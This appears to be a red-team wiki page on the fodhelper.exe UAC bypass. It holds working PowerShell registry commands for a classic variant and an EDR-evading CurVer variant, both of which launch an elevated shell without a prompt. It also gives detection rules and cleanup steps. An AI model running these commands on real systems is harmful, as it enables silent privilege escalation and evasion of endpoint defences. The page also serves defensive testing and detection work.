FoDHelper UAC Bypass

fodhelper.exe (“Features on Demand Helper”) is a signed Windows 10+ binary that auto-elevates — its manifest requests requireAdministrator and Windows silently grants it without a UAC prompt, because Microsoft trusts its own signed helper. At launch it resolves the ms-settings protocol handler from the registry, and because it reads the HKCU view of the class registration, a standard user can redirect that lookup to an arbitrary command — code execution in a high-integrity process with no prompt. MITRE T1548.002 (Bypass User Account Control).

The classic variant

The original technique plants a fake ms-settings\shell\open\command handler under HKCU\Software\Classes and sets an empty DelegateExecute value (fodhelper checks for it):

New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -PropertyType String -Value "" -Force
 
Start-Process "C:\Windows\System32\fodhelper.exe"   # elevated shell, no prompt

The CurVer evasion variant

Writing directly under ms-settings is a well-known signature — most AV/EDR products flag it. The evasion registers a custom ProgID (.pwn) and then uses the CurVer key — which exists for version-redirecting ProgIDs — to point ms-settings resolution at the attacker’s class instead:

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" `
    -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force
 
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" `
    -Name "(default)" -Value ".pwn" -Force

Only the CurVer subkey is touched under ms-settings — a much quieter footprint. (Some EDRs still catch and roll back the registry change, yet the command occasionally fires before the block lands.)

Why HKCU works at all

HKCR is a merged view of HKLM\Software\Classes and HKCU\Software\Classes, and HKCU wins on conflict. A standard user can’t write the machine-wide handler but can shadow it in their own hive — and fodhelper, running as that user (just elevated), reads exactly that view.

Detection and cleanup

• Sysmon EID 13 (registry value set) on HKCU\Software\Classes\ms-settings\... or ...\CurVer; EID 1 for fodhelper.exe spawning cmd.exe/powershell.exe children.
• The Red Canary Atomic Red Team T1548.002 tests 3/4 implement both the reg.exe and PowerShell variants with matching cleanup commands (reg delete hkcu\software\classes\ms-settings /f).
• Cleanup after the exercise: remove the planted ms-settings and .pwn keys — orphaned handlers break the legitimate Settings UX for that user.

Other auto-elevate helpers with the same class of flaw include computerdefaults.exe and eventvwr.exe; the pattern generalizes to “signed auto-elevate binary + HKCU-writable handler lookup.” For a pure UI-driven UAC bypass (no registry writes), see cve-2019-1388-uac-bypass — the certificate dialog vulnerability exploited by hhupd.exe.

Sources

• MITRE ATT&CK T1548.002 — Bypass UAC
• Red Canary Atomic Red Team — T1548.002
• v3ded — Utilizing ProgIDs for UAC Bypasses

Related: winlogon-autostart-values, exploit-windows-services, windows-saved-credentials, windows-reconnaissance-commands